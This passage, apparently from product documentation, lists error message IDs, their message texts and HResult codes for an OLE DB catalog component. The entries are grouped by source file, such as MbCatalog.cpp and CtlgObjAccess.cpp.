MSCOP_E_CtlgFilterTypeMismatch | Filter type mismatch for: %1 | 0xCA378014L


MbCatalog.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CatalogInitTypeDefsCreateInstanceFailed | InitTypeDefs(), failed to create instance, type name: %1 | 0xCA340001L
MSCOP_E_CatalogInitTypeDefsCastFailed | InitTypeDefs(), failed to cast instance, type name: %1 | 0xCA340002L
MSCOP_E_CatalogInvalidStringListInDestructor | Invalid Strings list found in Catalog destructor. Catalog name: %1, SCODE: %2 | 0xCA340003L
MSCOP_E_CatalogInvalidObjectListInDestructor | Invalid Objects list found in Catalog destructor. Catalog name: %1, SCODE: %2 | 0xCA340004L
MSCOP_E_CatalogAddObjectToGlobalListFailed | Failed adding new object to Global list. Object ID: %1, SCODE: %2 | 0xCA340005L
MSCOP_E_CatalogInvalidSaveObjectList | Invalid Save Objects list found during save. Catalog name:%1 SCODE: %2 | 0xCA340006L
MSCOP_E_CatalogGetClsInfoFailed | Failed to get ClsInfo for object: %1. Catalog name: %2, SCODE: %3 | 0xCA340007L
MSCOP_E_CatalogUnableToGetTableNameForClass | Unable to get Table name for Class. Display name: %1, ClsID: %2, SCODE: %3 | 0xCA340008L
MSCOP_E_CatalogCreateTableStatementCreationFailed | Failed to create 'Table Create' statement for Catalog. Catalog name : %1, SCODE: %2 | 0xCA340009L
MSCOP_E_CatalogCreateTableStatementFailed | Create statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA34000AL
MSCOP_E_CatalogAddClsInfoIDToArrayFailed | Adding ClsInfoID to array failed during save. Catalog name:%1 SCODE: %2 | 0xCA34000BL
MSCOP_E_CatalogInsertStatementCreationFailed | Failed to create Insert statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | 0xCA34000CL
MSCOP_E_CatalogUpdateStatementCreationFailed | Failed to create Update statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | 0xCA34000DL
MSCOP_E_CatalogInsertUpdateStatementFailed | Insert/Update statement failed for Catalog. Catalog name: %1, Table name: %2, SCODE: %3 | 0xCA34000EL
MSCOP_E_CatalogNotSaved | Catalog not saved due to errors in loading, err count: %1 | 0xCA34000FL
MSCOP_E_CatalogSQLBufferOOM | Not enough memory to allocate buffer for SQL statements. Catalog: %1 | 0xCA340010L
MSCOP_E_CatalogSaveHStmtCreationFailed | Unable to create HStmt for Save. Connection string %1, Catalog name: %2, SCODE: %3 | 0xCA340011L
MSCOP_E_CatalogSaveBeginTransactionFailed | Begin Transaction failed for Save. Connection string %1, Catalog name: %2, SCODE: %3 | 0xCA340012L
MSCOP_E_CatalogSaveIncrementalChangeFailed | Error applying incremental Catalog change. Doing rollback SCODE: %1 | 0xCA340013L
MSCOP_E_CatalogSaveRollbackFailed | Rollback Transaction failed for Save. SCODE: %1 | 0xCA340014L
MSCOP_E_CatalogCreateTablesFailed | Error: CreateTables returned: %1 | 0xCA340015L
MSCOP_E_CatalogIDManagerInitializationFailed | Error: failure in initializing id mgr in resolve -- error code: %1 | 0xCA340016L
MSCOP_E_CatalogCommitTransactionFailed | Commit Transaction failed for Save. SCODE: %1 | 0xCA340017L
MSCOP_E_CatalogRollbackTransactionFailed | Rollback Transaction failed for Save. SCODE: %1 | 0xCA340018L
MSCOP_E_CatalogRemoveAllSaveObjectsFailed | Failed to remove all objects from save list. SCODE: %1 | 0xCA340019L
MSCOP_E_CatalogRemoveAllChangeObjectsFailed | Failed to remove all objects from change list. SCODE: %1 | 0xCA34001AL
MSCOP_E_CatalogInvalidHStmtInLoad | Invalid HStmt passed to Load. SCODE: %1 | 0xCA34001BL
MSCOP_E_CatalogGetClsInfoForCatalogFailed | Failed to get ClsInfo for Catalog. Catalog name: %1, ClsID: %2, SCODE: %3 | 0xCA34001CL
MSCOP_E_CatalogUnableToGetTableNameForClsID | Unable to get Table name for Class. ClsID: %1, SCODE: %2 | 0xCA34001DL
MSCOP_E_CatalogCreateSelectStatementFailed | Failed to create 'SELECT FROM TABLE' statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | 0xCA34001EL
MSCOP_E_CatalogGetBCInfosFailed | Failed to get BCInfos for Catalog. Catalog name: %1, SCODE: %2 | 0xCA34001FL
MSCOP_E_CatalogExecSelectStatementFailed | 'Select' statement failed for Catalog. Catalog name: %1, Table name: %2, SCODE: %3 | 0xCA340020L
MSCOP_E_CatalogExecSelectStatementFailedDetail | Command: %s | 0xCA340021L
MSCOP_E_CatalogBindFailed | Bind failed for Catalog. Catalog name: %1, SCODE: %2 | 0xCA340022L
MSCOP_E_CatalogFetchFailed | Fetch failed for Catalog Object. Catalog name: %1, Table name: %2, SCODE: %3 | 0xCA340023L
MSCOP_E_CatalogCreateInstanceFailed | CreateInstance failed. Catalog name: %1, ClsID:%2, SCODE: %3 | 0xCA340024L
MSCOP_E_CatalogPopulateInstanceFailed | PopulateObject failed for Catalog. Catalog name: %1, SCODE: %2 | 0xCA340025L
MSCOP_E_CatalogUnableToDeleteObjectFromMap | Unable to remove an object marked for Delete from _allObjectsMapByPtr map. Object Display name: %1, ID: %2, SCODE: %3 | 0xCA340026L
MSCOP_E_CatalogUnableToAddObjectToDeleteMap | Unable to add object marked for Delete to _deleteObjectsByMapID map. Object Display name: %1, ID: %2, SCODE: %3 | 0xCA340027L
MSCOP_E_CatalogUnableToAddObjectToClassDeleteMap | Unable to add object marked for Delete to _classesWithDeletesMapByTblDefPtr map. Object Display name: %1, ID: %2, SCODE: %3 | 0xCA340028L
MSCOP_E_CatalogInvalidObjectMarkedForDelete | Invalid object marked for delete. Class ID: %1, Display name: %2 | 0xCA340029L
MSCOP_E_CatalogValidateObjectFailed | ValidateObject failed for Catalog. Catalog name: %1, Class Name: %2, Name: %3, SCODE: %4 | 0xCA34002AL
MSCOP_E_CatalogSQLBufferInitializationFailed | SQL statement buffer initialization failed. SCODE: %1 | 0xCA34002BL
MSCOP_E_CatalogCreateHStmtFailed | Unable to create HStmt for Load. Connection string %1, Catalog name: %2, SCODE: %3 | 0xCA34002CL
MSCOP_E_CatalogHStmtInitializationFailed | Failure initializing HStmt in Catalog::Load. SCODE: %1 | 0xCA34002DL
MSCOP_E_CatalogIDMgrInitializationFailed | Failure initializing ID Manager in Catalog Load. SCODE: %1 | 0xCA34002EL
MSCOP_E_CatalogInvalidObject | Invalid Objects list found in Catalog load. Catalog name: %1, SCODE: %2 | 0xCA34002FL
MSCOP_E_CatalogFastloadCatalog | Error: Catalog initialized in Fastload mode is not supported in non-Fastload mode | 0xCA340030L
MSCOP_I_CatalogLoadStart | Start loading catalog, time: %1, catalog name: %2 | 0x4A350001L
MSCOP_I_CatalogLoadEnd | End loading catalog, time: %1, catalog name: %2, hr: %3 | 0x4A350002L


Mbictlgchg.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CatalogChangeCantAddIdentityMember | Cannot add Identity Member existing class. Class name: %1, Member name: %2 | 0xCA340031L
MSCOP_E_CatalogChangeIncrementalChangeError | Error executing incremental Catalog change. SCODE: %1, Command: %2 | 0xCA340032L
MSCOP_E_CatalogChangeIncrementalChangeClearResultsError | Error clearing results for incremental Catalog change. SCODE: %1, Command: %2 | 0xCA340033L
MSCOP_E_CatalogChangeSchemaManagerObjectInitializationFailure | Initialization of Schema Manager object failed for incremental Catalog change processing. SCODE: %1 | 0xCA340034L
MSCOP_E_CatalogChangeDeletePartitionFailed | Error deleting parition %1 | 0xCA340035L
MSCOP_E_CatalogChangeInvalidSQLDeleteObjects | Invalid SQL Delete Objects list found during save. Catalog name:%1 SCODE: %2 | 0xCA340036L
MSCOP_E_CatalogChangeVersionNumberUpdateFailed | Failed adjusting Version numbers on Schema Objects. SCODE: %1 | 0xCA340037L
MSCOP_E_CatalogChangeDeleteObjectFailed | Error deleting object: %1, SCODE: %2 | 0xCA340038L
MSCOP_E_CatalogChangeInvalidChangeObjects | Invalid Change Objects list found during save. Catalog name:%1 SCODE: %2 | 0xCA340039L
MSCOP_E_CatalogChangeProcessChangeListNULLClsDef | NULL ClsDef pointer found in CMbCatalog::ProcessChangeList processing Member: %1 | 0xCA34003AL
MSCOP_E_CatalogChangeGetClsInfoFailed | Failed to get ClsInfo for object: %1. Catalog name: %2, SCODE: %3 | 0xCA34003BL
MSCOP_E_CatalogChangeProcessChangeListNULLCCtlgObj | NULL CCtlgObj pointer found in CMbCatalog::ProcessChangeList | 0xCA34003CL
MSCOP_E_CatalogChangeAddClsDefToSaveListFailed | Unable to add ClsDef to save list while processing incremental Catalog, SCODE: %1 | 0xCA34003DL
MSCOP_E_CatalogChangeAdjustVersionNumberNULLRelDef | NULL RelDef pointer found in CMbCatalog::AdjustVersionNumbers processing Class: %1 | 0xCA34003EL
MSCOP_E_CatalogChangeAdjustVersionNumberNULLChildClsDef | Null Child ClsDef pointer found in CMbCatalog::AdjustVersionNumbers. Parent Class: %1 | 0xCA34003FL
MSCOP_E_CatalogChangeLegacyTableNotFound | Error: Legacy table for Class does not exist. Class name: %1, Table name: %2, SCODE: %3 | 0xCA340040L
MSCOP_E_CatalogChangeCreateTableNULLLinkTblInfo | NULL LinkTblInfo in CMbCatalog::CreateTable for Member name: %1 | 0xCA340041L


CtlgObj.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_OOMInCopyBStrs | CopyBStrs, out of memory error in creating SAFEARRAY | 0xCA348001L
MSCOP_E_CopyToColCreateSafeArrayFailed | CopyToCol(), Error creating safe array(%1) | 0xCA348002L
MSCOP_W_GetCustomDataMoreThan1024Members | CDeleteHelper2Col::GetCustomData, Warning: Number of Members exceeds 1024 for Class: %1 | 0x8A348003L
MSCOP_W_GetCustomDataMoreThan1024Classes | CDeleteHelper2Col::GetCustomData, Warning: Number of classes exceeds 1024. | 0x8A348004L
MSCOP_E_GetCustomDataColumnTypeMismatch | CDeleteHelper1Col::GetCustomData, Column Type doesn't match column type (DBTYPE=%1, Expecting DBTYPE_VARIANT) | 0xCA348005L


CtlgObjAccess.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_StaticMemInfoFillBCInfoMemberNotPersistent | StaticMemInfo::FillBCInfo(), Member not persistent - colname: %1 | 0xCA348006L
MSCOP_E_StaticClsInfoInitZeroMembers | Error: StaticClsInfo::Init(), zero mem count, cls: %1 | 0xCA348007L
MSCOP_W_StaticClsInfoInitZeroPersistentMembers | Warning: StaticClsInfo::Init(), zero persistent mem count, cls: %1 | 0x8A348008L
MSCOP_E_StaticClsInfoInitMaxIndexExceeded | Error: StaticClsInfo::Init(), Member index exceeds max Member index, Class: %1, memIdx: %2 | 0xCA348009L
MSCOP_E_StaticClsInfoInitDuplicateMemIndex | Error: StaticClsInfo::Init(), Duplicate Member Index, Class: %1, memIdx: %2 | 0xCA34800AL
MSCOP_E_StaticClsInfoInitNULLCustomGetSetFunc | Error: StaticClsInfo::Init(), fCustomGetSet is NULL when fUseCustom, idx: %1, c++ name: %2::%3 | 0xCA34800BL
MSCOP_E_StaticClsInfoInitNULLGetSetFunc | Error: StaticClsInfo::Init(), _fnGetSet is NULL when !fUseCustom, idx: %1, c++ name: %2::%3 | 0xCA34800CL
MSCOP_E_StaticClsInfoInitPersistentMemberCountMismatch | Error: StaticClsInfo::Init(), inconsistent persistent count, cls: %1, persist Idx: %2, count: %3 | 0xCA34800DL
MSCOP_E_StaticClsInfoInitColInfoInitMemMaxExceeded | Error: StaticClsInfo::Init(), mem idx exceeds max mem idx in col info init, cls: %1, col name: %2, memIdx: %3 | 0xCA34800EL
MSCOP_E_StaticClsInfoInitColNameWithNoMember | Error: StaticClsInfo::Init(), col name with no member, cls: %1, col name: %2, memIdx: %3 | 0xCA34800FL
MSCOP_E_StaticClsInfoInitPersistentMemWithNoCol | Error: StaticClsInfo::Init(), persistent mem with no col name, c++ name= %1::%2, memIdx: %3 | 0xCA348010L
MSCOP_E_StaticClsTransferStringDataOOM | Error: ::TransferStringData(), out of memory in allocating String Buffer's for cls: %1 count: %2 | 0xCA348011L
MSCOP_E_StaticClsGetColumnInfoOOM | Error: StaticClsInfo::GetColumnInfo(), out of memory in allocating DBCOLINFO's for cls: %1 count: %2 | 0xCA348012L
MSCOP_E_StaticClsGetColumnInfoFillDBCOLUMNINFOFailed | Error: StaticClsInfo::GetColumnInfo(), Filling col: %1 cls: %2 countmax: %3 cur count: %4 | 0xCA348013L
MSCOP_E_StaticClsGetBCInfoOOM | Error: StaticClsInfo::GetBCInfo(), out of memory in allocating BCInfos count: %1 | 0xCA348014L
MSCOP_E_StaticClsGetDBTypeNameInvalidDBTypeID | Error: StaticClsInfo::GetDBTypeName(), invalid DBType id: %1 | 0xCA348015L
MSCOP_E_StaticClsGetCreateSizeAndOtherInfoInvalidDBTypeID | Error: StaticClsInfo::GetCreateSizeAndOtherInfo(), DBType: %1 | 0xCA348016L
MSCOP_E_StaticClsAddCreateMemberStmtAddStrFailed | Error: StaticClsInfo::AddCreateMemberStmt(), Adding prefix/colname : preflen : %1, collen : %2 | 0xCA348017L
MSCOP_E_StaticClsCreateTblCreateStmtAddCreateStrFailed | Error: StaticClsInfo::CreateTblCreateStmt(), Adding initial Create | 0xCA348018L
MSCOP_E_StaticClsCreateTblCreateStmtAddMemberStrFailed | Error: StaticClsInfo::CreateTblCreateStmt(), Adding Member : %1, datatype : %2 | 0xCA348019L
MSCOP_E_StaticClsGetParserTypeNameInvalidDBType | Error: StaticClsInfo::GetParserTypeName(), DBType: %1 | 0xCA34801AL
MSCOP_E_StaticClsCreateParseClsStmtGetViewableClsNameFailed | Error: StaticClsInfo::CreateParseClsStmt(), Getting viewable clsname | 0xCA34801BL
MSCOP_E_StaticClsCreateParseClsStmtAddClsDefStrFailed | Error: StaticClsInfo::CreateParseClsStmt(), Adding ClsDef | 0xCA34801CL
MSCOP_E_StaticClsCreateParseClsStmtGetParserTypeNameForDBTypeFailed | Error: StaticClsInfo::CreateParseClsStmt(), getting parser type name for dbtype : %1, col : %2 | 0xCA34801DL
MSCOP_E_StaticClsCreateParseClsStmtAddMemberStrFailed | Error: StaticClsInfo::CreateParseClsStmt(), Adding member: %1, type: %2 | 0xCA34801EL
MSCOP_E_StaticClsCreateParseClsStmtAddEOClsDefStrFailed | Error: StaticClsInfo::CreateParseClsStmt(), Adding end of ClsDef | 0xCA34801FL
MSCOP_E_StaticClsCreateSelectStmtAddColStrFailed | Error: StaticClsInfo::CreateSelectStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | 0xCA348020L
MSCOP_E_StaticClsCreateSelectStmtAddWHEREStrFailed | Error: StaticClsInfo::CreateSelectStmt(), adding WHERE to buf fmt failed: %1 | 0xCA348021L
MSCOP_E_StaticClsAddUniqueIdentifierInvalidStaticClsInfoType | Error: StaticClsInfo::AddUniqueIdentifier(), unexpected StaticClsInfo type %1 | 0xCA348022L
MSCOP_E_StaticClsAddUniqueIdentifierAddStrFailed | Error: StaticClsInfo::AddUniqueIdentifier(), maxbuflen: %1, used: %2 | 0xCA348023L
MSCOP_E_StaticClsWriteLocalizationTagsFetchColFailed | Error: StaticClsInfo::WriteLocalizationTags(), Fetching col : %1, DBType: %2, Offset: %3 | 0xCA348024L
MSCOP_E_StaticClsWriteLocalizationAddColStrFailed | Error: StaticClsInfo::WriteLocalizationTags(), Adding colname : %1, maxbuflen: %2, used: %3 | 0xCA348025L
MSCOP_E_StaticClsCreateInsertStmtWriteLocalizationFailed | Error: StaticClsInfo::CreateInsertStmt() WriteLocalizationTags failed, hr: %1 | 0xCA348026L
MSCOP_E_StaticClsCreateInsertStmtAddInsertStrFailed | Error: StaticClsInfo::CreateInsertStmt(), Adding initial insert | 0xCA348027L
MSCOP_E_StaticClsCreateInsertStmtAddTblNameStrFailed | Error: StaticClsInfo::CreateInsertStmt(), Adding table name: %1 | 0xCA348028L
MSCOP_E_StaticClsCreateInsertStmtAddColNameStrFailed | Error: StaticClsInfo::CreateInsertStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | 0xCA348029L
MSCOP_E_StaticClsCreateInsertStmtAddValuesTextStrFailed | Error: StaticClsInfo::CreateInsertStmt(), Adding static text: ) VALUES( SCODE: %1 | 0xCA34802AL
MSCOP_E_StaticClsCreateInsertStmtFetchColFailed | Error: StaticClsInfo::CreateInsertStmt(), Fetching col : %1, DBType: %2, Offset: %3 | 0xCA34802BL
MSCOP_E_StaticClsCreateInsertStmtAddingColFailed | Error: StaticClsInfo::CreateInsertStmt(), Adding col : %1, DBType: %2, Offset: %3 | 0xCA34802CL
MSCOP_E_StaticClsCreateDeleteStmtAddTableStrFailed | Error: StaticClsInfo::CreateDeleteStmt(), Adding initial delete table name: %1 | 0xCA34802DL
MSCOP_E_StaticClsCreateDeleteStmtAddWHEREStrFailed | Error: StaticClsInfo::CreateUpdateStmt(), Adding WHERE : %1, DBType: %2, Offset: %3 | 0xCA34802EL
MSCOP_E_StaticClsCreateXMLStmtAddVisibleNameStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding initial visible name | 0xCA34802FL
MSCOP_E_StaticClsCreateXMLStmtAddInitialUpdateStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding initial update | 0xCA348030L
MSCOP_E_StaticClsCreateXMLStmtAddColNameStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | 0xCA348031L
MSCOP_E_StaticClsCreateXMLStmtFetchingColFailed | Error: StaticClsInfo::CreateXMLStmt(), Fetching col : %1, DBType: %2, Offset: %3 | 0xCA348032L
MSCOP_E_StaticClsCreateXMLStmtAddColValueStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding colVAL : %1, DBType: %2, Offset: %3 | 0xCA348033L
MSCOP_E_StaticClsCreateXMLStmtAddCloseTokenStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding closing > | 0xCA348034L
MSCOP_E_StaticClsCreateXMLStmtAddEndVisibleNameStrFailed | Error: StaticClsInfo::CreateXMLStmt(), Adding end visible name | 0xCA348035L
MSCOP_E_StaticClsCreateDeleteStmtGetTableNameFailed | Error: StaticClsInfo::CreateDeleteStmt() Unable to get Table name for Class. Display name: %1, ClsID: %2, SCODE: %3 | 0xCA348036L
MSCOP_E_StaticClsCreateDeleteStmtAddDELETEStrFailed | Error: StaticClsInfo::CreateDeleteStmt(), Adding initial DELETE failed for table: %1 | 0xCA348037L
MSCOP_E_StaticClsCreateWHEREClauseAddWHEREStrFailed | Error: StaticClsInfo::CreateWHEREClause(), Adding WHERE : %1, DBType: %2, Offset: %3 | 0xCA348038L
MSCOP_E_StaticClsCreateWHEREClauseFetchingColFailed | Error: StaticClsInfo::CreateWHEREClause(), Fetching col : %1, DBType: %2, Offset: %3 | 0xCA348039L
MSCOP_E_StaticClsCreateWHEREClauseNoKeyMembers | Error: StaticClsInfo::CreateWHEREClause(), No members marked as instance keys for | 0xCA34803AL
MSCOP_E_StaticClsCreateUpdateStmtAddUPDATEStrFailed | Error: StaticClsInfo::CreateUpdateStmt(), Adding initial update for table: %1 | 0xCA34803BL
MSCOP_E_StaticClsCreateUpdateStmtAddColNameStrFailed | Error: StaticClsInfo::CreateUpdateStmt(), Adding colname : %1, maxbuflen: %2, used: %3 | 0xCA34803CL
MSCOP_E_StaticClsCreateUpdateStmtFetchingColFailed | Error: StaticClsInfo::CreateUpdateStmt(), Fetching col : %1, DBType: %2, Offset: %3 | 0xCA34803DL
MSCOP_E_StaticClsCreateUpdateStmtAddingColValFailed | Error: StaticClsInfo::CreateUpdateStmt(), Adding colVAL : %1, DBType: %2, Offset: %3 | 0xCA34803EL
MSCOP_E_StaticClsInitOOM | CMbStaticMapper::Init(), out of memory | 0xCA34803FL
MSCOP_E_StaticClsInitMapInitFailed | CMbStaticMapper::Init(), error in initialization of maps, hr: %1 | 0xCA348040L
MSCOP_E_StaticClsInitClassIDOOR | CMbStaticMapper::Init(), class idx exceeds max cls idx, name: %1, idx: %2, max.idx: %3 | 0xCA348041L
MSCOP_E_StaticClsInitDuplicateClassID | CMbStaticMapper::Init(), dup cls info, name: %1, idx: %2 | 0xCA348042L
MSCOP_E_StaticClsInitAddingColNameToMapFailed | Error: CMbStaticMapper::MapColNameToMemInfo(), failed to add col name to map, cls: %1, col: %2 | 0xCA348043L
MSCOP_E_StaticClsInitAddingMemNameToMapFailed | Error: CMbStaticMapper::MapMemNameToMemInfo(), failed to add mem name to map, cls: %1, col: %2 | 0xCA348044L
MSCOP_E_StaticClsGetClsInfoClsIDOOR | Error: CMbStaticMapper::GetClsInfo(), Requested ClsID out of range: clsid: %1, max: %2 | 0xCA348045L


CtlgObjClsKeyDef.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ClsKeyDefNULLRelDef | Error: CMbClsKeyDef::UpdatePKeyMem, NULL RelDef in Reference Key Member: %1. | 0xCA348046L


CtlgObjClsDef.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CMbClsDefAddChildMemDefToParentColToChildMemMapFailed | Failure to add child mem def to _parentColToChildMem, err: %1, child mem: %2::%3 | 0xCA348047L
MSCOP_E_CMbClsDefAddParentMemDefToParentColToChildMemMapFailed | Failure to parent mem def to _parentColToChildMem, err: %1, child mem: %2::%3 | 0xCA348048L
MSCOP_E_CMbClsDefAddParentMemDefToChildMemToParentMemMapFailed | Failure to add parent mem def to _childMemToParentMem, err: %1, child mem: %2::%3 | 0xCA348049L
MSCOP_E_CMbClsDefAddChildMemDefToChildMemToParentMemMapFailed | Failure to add child mem def to _childMemToParentMem, err: %1, child mem: %2::%3 | 0xCA34804AL
MSCOP_E_CMbClsDefResloveFullNameFailed | Error: Failed in ResolveFullName(), mem name: %1, SCODE: %2 | 0xCA34804BL
MSCOP_E_CMbClsDefAddMemDefToFullNameMapFailed | Error: Failed adding MemDef object to full name map, mem name: %1, SCODE: %2 | 0xCA34804CL
MSCOP_E_CMbClsDefChildMemDefLookupInParentColDefMapFailed | Error: Failed to get mem from given col name: cls ids: P:%01-C:%2, col: %3 | 0xCA34804DL
MSCOP_E_CMbClsDefMemDefLookupFailed | Error: Failed to retrieve member definition by name. Class: %1, Member: %2 | 0xCA34804EL
MSCOP_E_CMbClsDefCorruptRelDefsInCopyParentMembers | Error: Corrupt RelDef table found in CopyParentMembers. Class name: %1, SCODE: %2 | 0xCA34804FL
MSCOP_E_CMbClsDefCopyParentMembersFailed | Error: Failed doing CopyParentMembers() in class: %1. SCODE: %2 | 0xCA348050L
MSCOP_E_CMbClsDefFirstLevelMemDefArrayOOM | Not enough memory to allocate First Level Member def array. | 0xCA348051L
MSCOP_E_CMbClsDefMemInfoArrayOOM | Not enough memory to allocate MemberInfoArray during Catalog Resolve. | 0xCA348052L
MSCOP_E_CMbClsDefGroupMemNotFound | Error: Group Member container not found for Member. Member name: %1, Class name: %2, Group name: %3, SCODE: %4 | 0xCA348053L
MSCOP_E_CMbClsDefNoIdentityMember | Class: %1 does not have an Identity Member. | 0xCA348054L
MSCOP_E_CMbClsDefSaveMemberInfoArrayOOM | Not enough memory to allocate SaveMemberInfoArray during Catalog Resolve. | 0xCA348055L
MSCOP_E_CMbClsDefAllMembersByNameArrayOOM | Not enough memory to allocate All Members By Name array. | 0xCA348056L
MSCOP_E_CMbClsDefDefaultViewDefOOM | Not enough memory to allocate Default View Definition. | 0xCA348057L
MSCOP_E_CMbClsDefDefaultViewDefValidationFailed | Error: Validation failed for Default View. View name: %1, Class name: %2, SCODE:%3 | 0xCA348058L
MSCOP_E_CMbClsDefCorruptParentClsDefTblInCreateDefaultView | Error: Corrupt ParentClsDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | 0xCA348059L
MSCOP_E_CMbClsDefAddParentClsDefToViewDefListFailed | Error: Failed adding Parent ClsDef to View Def list. SCODE: %1 | 0xCA34805AL
MSCOP_E_CMbClsDefCorruptRelDefTblInCreateDefaultView | Error: Corrupt RelDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | 0xCA34805BL
MSCOP_E_CMbClsDefAddRelDefToViewDefListFailed | Error: Failed adding RelDef to View Def list. SCODE: %1 | 0xCA34805CL
MSCOP_E_CMbClsDefCorruptMemDefTblInCreateDefaultView | Error: Corrupt MemDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | 0xCA34805DL
MSCOP_E_CMbClsDefCreateViewMemFailed | Error: Failed to create new ViewMem. View name: %1, SCODE: %2 | 0xCA34805EL
MSCOP_E_CMbClsDefViewMemValidationFailed | Error: View Member validation failed. View name: %1, Member name: %2, SCODE: %3 | 0xCA34805FL


CtlgObjMemDef.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CMbMemDefInvalidGroupMember | Error: Invalid Group Member. Class name: %1, Group name: %2, Group Member name: %3 | 0xCA348060L
MSCOP_E_CMbMemDefNULLCatalog | Error: NULL Catalog pointer in GroupMem object. Group Member name: %1 | 0xCA348061L
MSCOP_E_CMbMemDefClsDefLookupFailureInGroupMem | Error: ClsDef lookup error while processing Group Member. Class name: %1, Group name: %2, SCODE: %3 | 0xCA348062L
MSCOP_E_CMbMemDefGroupContainerLookupFailureInGroupMem | Error: Group container lookup error while processing Group Member. Class name: %1, Group name (container): %2, SCODE: %3 | 0xCA348063L
MSCOP_E_CMbMemDefGroupMemberLookupFailureInGroupMem | Error: Group Member lookup error while processing Group Member. Class name: %1, Group name: %2 Member name: %3, SCODE: %4 | 0xCA348064L
MSCOP_E_CMbMemDefAddGroupMemberFailed | Error: Failed adding Member object to Group: Class name: %1, Group name: %2, Member name: %3, SCODE: %4 | 0xCA348065L
MSCOP_E_CMbMemDefMultiValMemberValidationFailed | Error: Unable to set multi-val tbl/col name in member validation, err: %1, Member name: %2 | 0xCA348066L


CtlgObjRelDef.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CMbRelDefCorruptMemDefListInParentClsDef | Error: Corrupt Member list found in Parent Class during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA348067L
MSCOP_E_CMbRelDefCorruptKeyDefListInParentClsDef | Error: Corrupt Key Member list found in Parent Class during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA348068L
MSCOP_E_CMbRelDefCopyParentRefMemFailure | Error: CopyParentRefMem(), ref's rel mem has no mapping in child. Rel: %1, Parent rel: %2, Rel Mem Parent: %3, Rel Mem Child: %4 | 0xCA348069L
MSCOP_E_CMbRelDefRelMemCreationFailure | Error creating RelMem for Relation: %1, Member: %2, SCODE: %3 | 0xCA34806AL
MSCOP_E_CMbRelDefCopyAttributesFailed | Failed copying attributes for Member: %1. SCODE: %2 | 0xCA34806BL
MSCOP_E_CMbRelDefMemAttrCreationFailed | Failed creating instance of Member attribute for Member: %1 | 0xCA34806CL
MSCOP_E_CMbRelDefMemAttrValidationFailed | Validation failed for Member attribute. Member name: %1, Attribute name: %2 | 0xCA34806DL
MSCOP_E_CMbRelDefMemDefCreationFailed | Error: Failed creating new Member instance during Relation processing. Relation name: %1, mem: %2, SCODE: %3. | 0xCA34806EL
MSCOP_E_CMbRelDefRelMemArrayOOM | Not enough memory to allocate Relation Member array in Validate of Child Class Reference Member. Relation name: %1, Reference Member name: %2 | 0xCA34806FL
MSCOP_E_CMbRelDefRelMemValidationFailed | Error: Failed while Validating new Child Class Reference Member. Relation name: %1, Reference Member name: %2, SCODE: %3 | 0xCA348070L
MSCOP_E_CMbRelDefAddRelMemToCatalogListFailed | Error: Failed adding MemDef object to Catalog list: %1, Object name: %2, SCODE: %3 | 0xCA348071L
MSCOP_E_CMbRelDefRelMemAttribTransferFailed | Error transferring member attributes from Member: %1. SCODE:%2 | 0xCA348072L
MSCOP_E_CMbRelDefCreateColDefForRefMemFailed | Error: Create ColDef instance for Child Class Reference Member failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA348073L
MSCOP_E_CMbRelDefRefMemValidationFailed | Error: Failed while Validating Child Class Reference Member Definition. Relation name: %1, Parent Class Member name: %2, Child Class Member name: %3, SCODE: %4 | 0xCA348074L
MSCOP_E_CMbRelDefSetRelDefByQWORDFailed | Failed to set RelDef by QWORD during Catalog Resolve. SCODE: %1 | 0xCA348075L


CtlgObjTbl.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
*/MSCOP_E_CMbTblDefCreateColDefFailed | Error: Create ColDef instance for generated col def, col: %1::%2, SCODE: %3 | 0xCA348076L
MSCOP_E_CMbTblDefColDefValidationFailed | Error: Failed while Validating generated col def, tbl: %1, col name: %2, SCODE: %3 | 0xCA348077L


OLE DB Catalog Validation Error Messages

Error Messages

Message ID | Message Text | HResult
*/MSCOP_E_NULLCatalogName | Error: NULL Catalog name. SCODE: %1 | 0xCA3A8001L
MSCOP_E_NULLStringTableName | Error: NULL String Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8002L
MSCOP_E_NULLHistoryTableName | Error: NULL Catalog History Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8003L
MSCOP_E_NULLSourceDefTableName | Error: NULL Source Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8004L
MSCOP_E_NULLTypeDefTableName | Error: NULL Type Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8005L
MSCOP_E_NULLClsDefTableName | Error: NULL Class Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8006L
MSCOP_E_NULLMemDefTableName | Error: NULL Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | 0xCA3A8007L
